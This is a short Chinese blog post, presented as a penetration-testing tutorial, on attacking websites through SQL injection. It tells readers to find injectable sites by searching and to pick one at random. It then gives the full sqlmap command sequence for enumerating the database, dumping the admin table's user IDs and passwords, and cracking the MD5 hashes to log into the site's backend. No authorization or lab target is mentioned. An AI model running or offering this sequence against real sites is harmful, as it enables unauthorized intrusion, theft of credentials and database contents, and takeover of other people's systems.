滲透測試實戰_sql注入

標籤：word   img   inf   post   資料   col   網站   install   使用者   

首先我們在搜尋引擎上尋找可以注入的網站。這裡額外插一句，搜尋引擎也是有特定的文法哦~

隨便找個網站

 

 下面我們要用sqlmap進行爆破啦，眼睛睜大~對於sqlmap的安裝，直接在python2.7的環境下執行 pip install sqlmap

此時sqlmap已經安裝完畢，可以輸入sqlmap確認一下，出現說明安裝成功了

下面我們輸入 sqlmap.py -u "url" --current-db  擷取待注入網站的資料庫

 

輸入 sqlmap.py -u "url" --current-user 擷取目前使用者

 

輸入  sqlmap.py -u "url" -D databasename --tables 擷取當前資料庫所有的表

輸入 sqlmap.py -u "url" -D databasename -T admin --columns 擷取admin表的所有欄位

輸入 sqlmap.py -u "url" -D databasename -T admin -C "id,userid,password" --dump 

擷取所有欄位內容（脫庫）

此時我們發現這裡的密碼是md5加密的，我們可以用去執行解密

現在我們已經破解了使用者名稱和密碼，可以登入網站後台了

 

 

 

 

滲透測試實戰_sql注入